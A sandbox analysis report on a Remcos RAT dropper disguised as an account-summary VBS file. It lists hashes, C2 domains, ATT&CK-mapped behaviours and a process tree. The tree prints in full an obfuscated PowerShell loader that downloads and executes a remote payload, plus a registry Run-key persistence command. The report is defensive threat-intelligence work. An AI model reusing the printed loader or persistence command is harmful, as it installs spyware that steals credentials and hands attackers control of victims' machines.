remcos | 34f96275918322ad5df35688f0d2c144ebe0fa84b074d7f25ca112b2e71370dd

Analysis

max time kernel
148s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
27/11/2024, 08:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SERV27THNOVSCANNEDcopiesACCOUNT-SUMMARYcon3-2.vbs
Size

17KB
MD5

83bb52876c9e18331047c18beabecaa6
SHA1

0ce3290bee56bec9662d1a1483e0abcfdd27d5e4
SHA256

34f96275918322ad5df35688f0d2c144ebe0fa84b074d7f25ca112b2e71370dd
SHA512

a598d004ab6b0d796db53654e82b94cc0d97eae99e42cebd15aa2db2f3c40a41012845d268732048d45dd8083d8c602d94794e8a1e528f825e391b42038b638c
SSDEEP

384:PTBcsgRgCHXO/jmovrQQ51yUVG/Pk6yTvB:rBggCHXO/p8Q2UVG/lyTJ

Score

10^/10

remcos server collection discovery persistence rat

Malware Config

Extracted

Family

remcos

Botnet

SERVER

hoiujlos18jaru1.duckdns.org:19760

hoiujlos18jaru1.duckdns.org:19761

hoiujlos18jaru2.duckdns.org:19760

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
false
keylog_file
ploy.dat
keylog_flag
false
keylog_path
%AppData%
mouse_option
false
mutex
osfrerlhkrw-BTZQ53
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/1712-72-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/1732-71-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/2184-70-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/1712-72-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/1732-71-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 7 IoCs

flow	pid	Process
3	1724	WScript.exe
9	4328	powershell.exe
23	1088	msiexec.exe
25	1088	msiexec.exe
28	1088	msiexec.exe
29	1088	msiexec.exe
31	1088	msiexec.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Helicteres = "%Retill% -windowstyle 1 $Lanch=(gp -Path 'HKCU:\\Software\\efterretternes\\').Bringende;%Retill% ($Lanch)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1088	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2736	powershell.exe
1088	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1088 set thread context of 1732	1088	msiexec.exe	100
PID 1088 set thread context of 1712	1088	msiexec.exe	101
PID 1088 set thread context of 2184	1088	msiexec.exe	102

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4964	reg.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4328	powershell.exe
4328	powershell.exe
2736	powershell.exe
2736	powershell.exe
2736	powershell.exe
2184	msiexec.exe
2184	msiexec.exe
1732	msiexec.exe
1732	msiexec.exe
1732	msiexec.exe
1732	msiexec.exe

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
2736	powershell.exe
1088	msiexec.exe
1088	msiexec.exe
1088	msiexec.exe
1088	msiexec.exe
1088	msiexec.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4328	powershell.exe
Token: SeDebugPrivilege	2736	powershell.exe
Token: SeDebugPrivilege	2184	msiexec.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1088	msiexec.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 1724 wrote to memory of 4328	1724	WScript.exe	82
PID 1724 wrote to memory of 4328	1724	WScript.exe	82
PID 2736 wrote to memory of 1088	2736	powershell.exe	93
PID 2736 wrote to memory of 1088	2736	powershell.exe	93
PID 2736 wrote to memory of 1088	2736	powershell.exe	93
PID 2736 wrote to memory of 1088	2736	powershell.exe	93
PID 1088 wrote to memory of 3908	1088	msiexec.exe	94
PID 1088 wrote to memory of 3908	1088	msiexec.exe	94
PID 1088 wrote to memory of 3908	1088	msiexec.exe	94
PID 3908 wrote to memory of 4964	3908	cmd.exe	96
PID 3908 wrote to memory of 4964	3908	cmd.exe	96
PID 3908 wrote to memory of 4964	3908	cmd.exe	96
PID 1088 wrote to memory of 972	1088	msiexec.exe	98
PID 1088 wrote to memory of 972	1088	msiexec.exe	98
PID 1088 wrote to memory of 972	1088	msiexec.exe	98
PID 1088 wrote to memory of 2488	1088	msiexec.exe	99
PID 1088 wrote to memory of 2488	1088	msiexec.exe	99
PID 1088 wrote to memory of 2488	1088	msiexec.exe	99
PID 1088 wrote to memory of 1732	1088	msiexec.exe	100
PID 1088 wrote to memory of 1732	1088	msiexec.exe	100
PID 1088 wrote to memory of 1732	1088	msiexec.exe	100
PID 1088 wrote to memory of 1732	1088	msiexec.exe	100
PID 1088 wrote to memory of 1712	1088	msiexec.exe	101
PID 1088 wrote to memory of 1712	1088	msiexec.exe	101
PID 1088 wrote to memory of 1712	1088	msiexec.exe	101
PID 1088 wrote to memory of 1712	1088	msiexec.exe	101
PID 1088 wrote to memory of 2184	1088	msiexec.exe	102
PID 1088 wrote to memory of 2184	1088	msiexec.exe	102
PID 1088 wrote to memory of 2184	1088	msiexec.exe	102
PID 1088 wrote to memory of 2184	1088	msiexec.exe	102

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SERV27THNOVSCANNEDcopiesACCOUNT-SUMMARYcon3-2.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Tightenings='Snitten';;$Arbejdsministerium='Dirkens';;$Togbetjentens39='Stianes';;$Hverdagslivet='Gospodar';;$Gaelicism='Indigotindisulphonic';;$Velal=$host.Name;function Subcentral($Overestimations){If ($Velal) {$nyhedsorienterings=3} for ($lagging=$nyhedsorienterings;;$lagging+=4){if(!$Overestimations[$lagging]) { break }$Ceratiasis+=$Overestimations[$lagging]}$Ceratiasis}function Logomach($Blokerings){ .($Fimredes) ($Blokerings)}$Decapitation=Subcentral 'LoyNMo ePugTDo,. nW UlELadBDemcSlaLMuni .oe opnHy t';$Germanisere=Subcentral ' kiMHeloElezF ri .nl rylCo aUnn/';$Birdbrain=Subcentral 'F eTAdrlTins.ac1 Re2';$Depilerer='Pre[KnaNDokEK.oT,il.IleSU eeStoRHerVBl,iGyncTh.ERa pvadoArtiHydn RetJeoM C aAp.n ,aaSc gLuvE FrRInd] Ru:M.n:,rdSResERa CFjeuPaarL uIGnaTSvayDy.P.tar P oZooT ,ooUniCHa oPonLGra=,is$HikbGarI,akrTgedForbCanrMo AButi TeN';$Germanisere+=Subcentral ' Fi5Cus. K.0 Jv j(.ulW ediPaln Kod S.o SuwMassCig E NtraTB k ,i1Reb0Unf.Mf,0G.a;Twe DecW AfiM.nn Te6Phe4Mas;Al BesxKwe6 e4vae;Lan Tj rVanvUhj: Ce1Enc3 S 1cat.Non0Sma)Te Ra GTece Ekc ukEleo,it/Akr2 la0Bli1 nc0 ot0 De1Out0Af,1 No H.FMe.ime rRoaeEpifGrioBruxPho/lma1C l3Cli1Ser. De0';$Neighborly=Subcentral 'GesuBe S.nveAfgRAss-SamAPaggGrieBann.ndt';$Tipuloid=Subcentral 'TenhAsttStatRecp nsUn :Be / La/HanmKomy TocInsoGalmU npIntaG lnDi.y .esManc Hoa InnR tnOpse oidVe fU siIrelCoseBraz Rh. hocDatoIrimTr / L sUnicMurn,ng/ dyPSpilG aaUgenAconNeudDiarBori P.n ,agPreefisrFrt.D rxKnstProp';$Dehair=Subcentral 'mo >';$Fimredes=Subcentral ' oaIGulEPoix';$Dieselkretjer='Manifolder';$Novelry='\Medlemsstat.Tio';Logomach (Subcentral 'S,a$exaG aaLDocoOveB.traDoblMac:K,nUAmbDGraFMisrDepIAmpt OcT ibETo.d.ndeNaksPar=bre$A uEP oN umVSe,:PenANeup Bup nudKonACoiT leaOtt+Ste$.lanAirO .tVComE lblVanrTauY');Logomach (Subcentral 'Coe$ ngGutlTjeoDisbEnfaPanlove: BlG ellC,aa DesBurRRobRMe eFlaN a ESkis r=Bes$ omTondiC.mPGuaUho,L .locabIMrsd R .mess .apRa.l DaI EltUds(Sch$ForDRugeCy H S A E.i emrL.m)');Logomach (Subcentral $Depilerer);$Tipuloid=$Glasrrenes[0];$Kommunikationsformen=(Subcentral 'Skv$SkugS.pl M,oA tbS laMasLAtt:DekTSalR.ryIDevmReaPVrkrVame AngSt,NvareUdeR Emieu NKmpgUn,eNnnNEur=B onre,eDe.W er-TreOVa B U jC jEMi.cCa,t.el EngsForyDknSOveTScaeIltmDdp.Kar$tilDUngE .oCAf AE,iP PliEtttAnna ArTpakIelso scN');Logomach ($Kommunikationsformen);Logomach (Subcentral 'Hye$RaaTKonrGe,iSynm ynp H,rByge arg arn ne Kar eiDecnT,lgP,ae eanMat. RoHLane OxaAnidDobeEssr,dss.er[ Fo$SmiNDateTroiS ugEryhVirbForomudrUnml Doy y]B u=Djv$FreGDupeUnzrSkrmUd aF inIn iM tsAdeearcrUnde');$Outechos=Subcentral 'Fri$ arTSe rKediWhimFlapWivr Tme MagStrnReaeIndrheliEgnnVelg AkeGianPup.DraDDowoDyswUnbn Ccl ono B asu.dHe FVoli alMeneLft(,ar$SkiT D iEksp inu StlFl,oLekiStrdCha,To $Be,P RerF ro,wetKreo BakForoNe,lforl M e Prrk reGe.s.ev1fee9 Po8haa)';$Protokolleres198=$Udfrittedes;Logomach (Subcentral 'Sti$ PagKonLSumO Zib erA EslOpd: StaS rND.etCitH omRTilA KrqIn uBugi,kaniltOElenAnge In=Und(DmrtDi.e.krSImptFla-CirpFilaBartLeghund sti$EpipRanr etO roT BiOuncKDelO ubLS lLPseEL dRDyrEWhiSUb 1unl9Omf8,nt)');while (!$Anthraquinone) {Logomach (Subcentral 'Sky$Hegg Kol noPacb Kra CelGau: l A ElrLa bA ooMarrFlei,rozVi i Ben avgFri=Sa $ DaDAntaCocd F eHiglReslFarsBi.t') ;Logomach $Outechos;Logomach (Subcentral 'ParS.trt ReaPasrOxytP,d-ho.SOp lSkoE feP.spTet .h4');Logomach (Subcentral 'Blo$forGGanL SeoW eB ptaAllL Re:MonAPerNIntT SqHTrar uASkuQ NeURi.i PoNSt.OMulNDeceDis= er(D gt DieV ds WetLae- .opKluA A TImpHS r Bru$U cP rarCosO UntLumOA ekAgnO SplShaLobte k,RNite ksSPer1Skj9Mil8 i)') ;Logomach (Subcentral 'lob$J nG l LPalOT ibPagA udlK a:DksM T eUntR lbPerEPlaSSt KElea C TA tnl gIIndN VaG No= Fl$InsgKollUniOCalBTa aVarL Ad:P iaU,bADysr SlgSgeATr NbyggLimS orvpreiRetSTubEOzo+ r+ ,e%Sta$CrogUd lOutA EvsB bRre rPr.E atnSkoeA hS Ax. opC InOUdpuairNPatT') ;$Tipuloid=$Glasrrenes[$Merbeskatning]}$Frimrkealbumet=81047;$Proemptosis=30307;Logomach (Subcentral 'Trs$EgmgMetLH,soUnmb adADovLudl:friLB neP sJDeaET pkJe aSa,sCykEFejRa.yNDelEC.pnTro Ef =Vaa algSluEManT Tu-P iC eO Unn.elt SeE UnnE stSde Pro$KonP lrTelO hethydOIndkStioPogLMetlKilEMusR ftE rS M,1Unm9Und8');Logomach (Subcentral 'Slu$AntgEthlpl,oCirb.dsaDyblSkr:Sa WG uovinrBuelMa dH mlS giMannUsag risSke ,ki=Hu, ind[ BlSA ly Kosu ptUndeChamqu..EdbCForo inRh.v E e Anrko tfab]Fo.:.ot:St,FAnarmyroNedmTelBEleaSadsJeae.in6Ar 4TonSrestH.mrVati.genCitgSto(S.a$,veLCr.e Dej ane rikInfaHalsLinePrerCran OveE yn,ri)');Logomach (Subcentral 'Rip$ AuGO sLB,loDemB U,aSmiLBo :VegtUnovAurUHe NO,egcorEParnPra Mn=Bar Cot[trisafsy vsSoiTHemETh mYar..taTU.vE ewX OpT Bo. FoETr NRa CPyroGudDChiIFllnVenG Ru]Ana: ,e: otaCalsAm cPisIFr I.lu. pagArbES ttSersAzotAfiR SeIUreNSlaGfig(Int$Trew Amo AdR.ymL.igDDoblZiniCrynRing .oSWad)');Logomach (Subcentral ' ri$ upg NoLOffo habvauAModlPyn:a.eg PrLreta nsZMytIVrkn.rae B sTrySCha=Sem$Tr tSamV MiUMisnWitgForeDisNTar.sk SBlyUIntBRi,S Bet,ubr doID vnRetg re( ,a$ kuF,icrTraIRicMFloR G kXylEGrna,edlAmobDemU Obm DeeRvet P ,O.a$Papp,isrEtcoUdsE SkMSanpMa TJutoSkeSHe,I D.SVic)');Logomach $Glaziness;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4328

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Tightenings='Snitten';;$Arbejdsministerium='Dirkens';;$Togbetjentens39='Stianes';;$Hverdagslivet='Gospodar';;$Gaelicism='Indigotindisulphonic';;$Velal=$host.Name;function Subcentral($Overestimations){If ($Velal) {$nyhedsorienterings=3} for ($lagging=$nyhedsorienterings;;$lagging+=4){if(!$Overestimations[$lagging]) { break }$Ceratiasis+=$Overestimations[$lagging]}$Ceratiasis}function Logomach($Blokerings){ .($Fimredes) ($Blokerings)}$Decapitation=Subcentral 'LoyNMo ePugTDo,. nW UlELadBDemcSlaLMuni .oe opnHy t';$Germanisere=Subcentral ' kiMHeloElezF ri .nl rylCo aUnn/';$Birdbrain=Subcentral 'F eTAdrlTins.ac1 Re2';$Depilerer='Pre[KnaNDokEK.oT,il.IleSU eeStoRHerVBl,iGyncTh.ERa pvadoArtiHydn RetJeoM C aAp.n ,aaSc gLuvE FrRInd] Ru:M.n:,rdSResERa CFjeuPaarL uIGnaTSvayDy.P.tar P oZooT ,ooUniCHa oPonLGra=,is$HikbGarI,akrTgedForbCanrMo AButi TeN';$Germanisere+=Subcentral ' Fi5Cus. K.0 Jv j(.ulW ediPaln Kod S.o SuwMassCig E NtraTB k ,i1Reb0Unf.Mf,0G.a;Twe DecW AfiM.nn Te6Phe4Mas;Al BesxKwe6 e4vae;Lan Tj rVanvUhj: Ce1Enc3 S 1cat.Non0Sma)Te Ra GTece Ekc ukEleo,it/Akr2 la0Bli1 nc0 ot0 De1Out0Af,1 No H.FMe.ime rRoaeEpifGrioBruxPho/lma1C l3Cli1Ser. De0';$Neighborly=Subcentral 'GesuBe S.nveAfgRAss-SamAPaggGrieBann.ndt';$Tipuloid=Subcentral 'TenhAsttStatRecp nsUn :Be / La/HanmKomy TocInsoGalmU npIntaG lnDi.y .esManc Hoa InnR tnOpse oidVe fU siIrelCoseBraz Rh. hocDatoIrimTr / L sUnicMurn,ng/ dyPSpilG aaUgenAconNeudDiarBori P.n ,agPreefisrFrt.D rxKnstProp';$Dehair=Subcentral 'mo >';$Fimredes=Subcentral ' oaIGulEPoix';$Dieselkretjer='Manifolder';$Novelry='\Medlemsstat.Tio';Logomach (Subcentral 'S,a$exaG aaLDocoOveB.traDoblMac:K,nUAmbDGraFMisrDepIAmpt OcT ibETo.d.ndeNaksPar=bre$A uEP oN umVSe,:PenANeup Bup nudKonACoiT leaOtt+Ste$.lanAirO .tVComE lblVanrTauY');Logomach (Subcentral 'Coe$ ngGutlTjeoDisbEnfaPanlove: BlG ellC,aa DesBurRRobRMe eFlaN a ESkis r=Bes$ omTondiC.mPGuaUho,L .locabIMrsd R .mess .apRa.l DaI EltUds(Sch$ForDRugeCy H S A E.i emrL.m)');Logomach (Subcentral $Depilerer);$Tipuloid=$Glasrrenes[0];$Kommunikationsformen=(Subcentral 'Skv$SkugS.pl M,oA tbS laMasLAtt:DekTSalR.ryIDevmReaPVrkrVame AngSt,NvareUdeR Emieu NKmpgUn,eNnnNEur=B onre,eDe.W er-TreOVa B U jC jEMi.cCa,t.el EngsForyDknSOveTScaeIltmDdp.Kar$tilDUngE .oCAf AE,iP PliEtttAnna ArTpakIelso scN');Logomach ($Kommunikationsformen);Logomach (Subcentral 'Hye$RaaTKonrGe,iSynm ynp H,rByge arg arn ne Kar eiDecnT,lgP,ae eanMat. RoHLane OxaAnidDobeEssr,dss.er[ Fo$SmiNDateTroiS ugEryhVirbForomudrUnml Doy y]B u=Djv$FreGDupeUnzrSkrmUd aF inIn iM tsAdeearcrUnde');$Outechos=Subcentral 'Fri$ arTSe rKediWhimFlapWivr Tme MagStrnReaeIndrheliEgnnVelg AkeGianPup.DraDDowoDyswUnbn Ccl ono B asu.dHe FVoli alMeneLft(,ar$SkiT D iEksp inu StlFl,oLekiStrdCha,To $Be,P RerF ro,wetKreo BakForoNe,lforl M e Prrk reGe.s.ev1fee9 Po8haa)';$Protokolleres198=$Udfrittedes;Logomach (Subcentral 'Sti$ PagKonLSumO Zib erA EslOpd: StaS rND.etCitH omRTilA KrqIn uBugi,kaniltOElenAnge In=Und(DmrtDi.e.krSImptFla-CirpFilaBartLeghund sti$EpipRanr etO roT BiOuncKDelO ubLS lLPseEL dRDyrEWhiSUb 1unl9Omf8,nt)');while (!$Anthraquinone) {Logomach (Subcentral 'Sky$Hegg Kol noPacb Kra CelGau: l A ElrLa bA ooMarrFlei,rozVi i Ben avgFri=Sa $ DaDAntaCocd F eHiglReslFarsBi.t') ;Logomach $Outechos;Logomach (Subcentral 'ParS.trt ReaPasrOxytP,d-ho.SOp lSkoE feP.spTet .h4');Logomach (Subcentral 'Blo$forGGanL SeoW eB ptaAllL Re:MonAPerNIntT SqHTrar uASkuQ NeURi.i PoNSt.OMulNDeceDis= er(D gt DieV ds WetLae- .opKluA A TImpHS r Bru$U cP rarCosO UntLumOA ekAgnO SplShaLobte k,RNite ksSPer1Skj9Mil8 i)') ;Logomach (Subcentral 'lob$J nG l LPalOT ibPagA udlK a:DksM T eUntR lbPerEPlaSSt KElea C TA tnl gIIndN VaG No= Fl$InsgKollUniOCalBTa aVarL Ad:P iaU,bADysr SlgSgeATr NbyggLimS orvpreiRetSTubEOzo+ r+ ,e%Sta$CrogUd lOutA EvsB bRre rPr.E atnSkoeA hS Ax. opC InOUdpuairNPatT') ;$Tipuloid=$Glasrrenes[$Merbeskatning]}$Frimrkealbumet=81047;$Proemptosis=30307;Logomach (Subcentral 'Trs$EgmgMetLH,soUnmb adADovLudl:friLB neP sJDeaET pkJe aSa,sCykEFejRa.yNDelEC.pnTro Ef =Vaa algSluEManT Tu-P iC eO Unn.elt SeE UnnE stSde Pro$KonP lrTelO hethydOIndkStioPogLMetlKilEMusR ftE rS M,1Unm9Und8');Logomach (Subcentral 'Slu$AntgEthlpl,oCirb.dsaDyblSkr:Sa WG uovinrBuelMa dH mlS giMannUsag risSke ,ki=Hu, ind[ BlSA ly Kosu ptUndeChamqu..EdbCForo inRh.v E e Anrko tfab]Fo.:.ot:St,FAnarmyroNedmTelBEleaSadsJeae.in6Ar 4TonSrestH.mrVati.genCitgSto(S.a$,veLCr.e Dej ane rikInfaHalsLinePrerCran OveE yn,ri)');Logomach (Subcentral 'Rip$ AuGO sLB,loDemB U,aSmiLBo :VegtUnovAurUHe NO,egcorEParnPra Mn=Bar Cot[trisafsy vsSoiTHemETh mYar..taTU.vE ewX OpT Bo. FoETr NRa CPyroGudDChiIFllnVenG Ru]Ana: ,e: otaCalsAm cPisIFr I.lu. pagArbES ttSersAzotAfiR SeIUreNSlaGfig(Int$Trew Amo AdR.ymL.igDDoblZiniCrynRing .oSWad)');Logomach (Subcentral ' ri$ upg NoLOffo habvauAModlPyn:a.eg PrLreta nsZMytIVrkn.rae B sTrySCha=Sem$Tr tSamV MiUMisnWitgForeDisNTar.sk SBlyUIntBRi,S Bet,ubr doID vnRetg re( ,a$ kuF,icrTraIRicMFloR G kXylEGrna,edlAmobDemU Obm DeeRvet P ,O.a$Papp,isrEtcoUdsE SkMSanpMa TJutoSkeSHe,I D.SVic)');Logomach $Glaziness;"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2736
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1088
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Helicteres" /t REG_EXPAND_SZ /d "%Retill% -windowstyle 1 $Lanch=(gp -Path 'HKCU:\Software\efterretternes\').Bringende;%Retill% ($Lanch)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3908
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Helicteres" /t REG_EXPAND_SZ /d "%Retill% -windowstyle 1 $Lanch=(gp -Path 'HKCU:\Software\efterretternes\').Bringende;%Retill% ($Lanch)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:4964
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\kqbujxwaqhknvvzxsgamadh"
    3⤵
    PID:972
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\kqbujxwaqhknvvzxsgamadh"
    3⤵
    PID:2488
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\kqbujxwaqhknvvzxsgamadh"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:1732
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\vshmkpgcepcsxjvbjqmolqbahx"
    3⤵
    - Accesses Microsoft Outlook accounts
    - System Location Discovery: System Language Discovery
    PID:1712
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\fmmxkirwsxufhpjfsbhhouorqlnoov"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2184

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d4ff23c124ae23955d34ae2a7306099a

SHA1
b814e3331a09a27acfcd114d0c8fcb07957940a3

SHA256
1de6cfd5e02c052e3475d33793b6a150b2dd6eebbf0aa3e4c8e4e2394a240a87

SHA512
f447a6042714ae99571014af14bca9d87ede59af68a0fa1d880019e9f1aa41af8cbf9c08b0fea2ccb7caa48165a75825187996ea6939ee8370afa33c9f809e79

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_accpj4oc.bui.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\kqbujxwaqhknvvzxsgamadh

Filesize
4KB

MD5
75379d3dcbcea6a69bc75b884816dd40

SHA1
7e073a03c3bdbbc60375ddbe56bba211c3d412a6

SHA256
cab559f3bbe4a0beb194dffca723b3072184b92687100462eaab04d66fff8de9

SHA512
710c2cee369a57a0039fc0d0c59de6118780210ef60ad0daf374f03ba94ab08039bc2aff821f7c99a0ecd0e16189c52e5b6d630b3d541f7b11375f134b985e8c

Download Submit
C:\Users\Admin\AppData\Roaming\Medlemsstat.Tio

Filesize
144KB

MD5
563685c67e8507fb188ff0b8dbdfdb4b

SHA1
fbdbe643248ec87ab0b9a35a8e92ebcaf283d13f

SHA256
a9b82a9a5555d5dcbb31dfd0d2226c19c284a9d5aecbcb942f9f12cde148bd0a

SHA512
40f6e19d838eac5888b930628cf578200507a27cb604e0233337ab3050f71481bda37002dcf60e1c404831e022c7ad24e2be63a9d6647c300880aac7192d6018

Download Submit
memory/1088-81-0x0000000023340000-0x0000000023359000-memory.dmp

Filesize
100KB

Download
memory/1088-82-0x0000000023340000-0x0000000023359000-memory.dmp

Filesize
100KB

Download
memory/1088-78-0x0000000023340000-0x0000000023359000-memory.dmp

Filesize
100KB

Download
memory/1088-54-0x00000000007C0000-0x0000000001A14000-memory.dmp

Filesize
18.3MB

Download
memory/1712-72-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1712-69-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1712-63-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1732-66-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1732-68-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1732-71-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1732-62-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2184-65-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2184-64-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2184-70-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2736-25-0x00000000052D0000-0x00000000052F2000-memory.dmp

Filesize
136KB

Download
memory/2736-37-0x0000000005C90000-0x0000000005FE4000-memory.dmp

Filesize
3.3MB

Download
memory/2736-45-0x0000000008610000-0x0000000008BB4000-memory.dmp

Filesize
5.6MB

Download
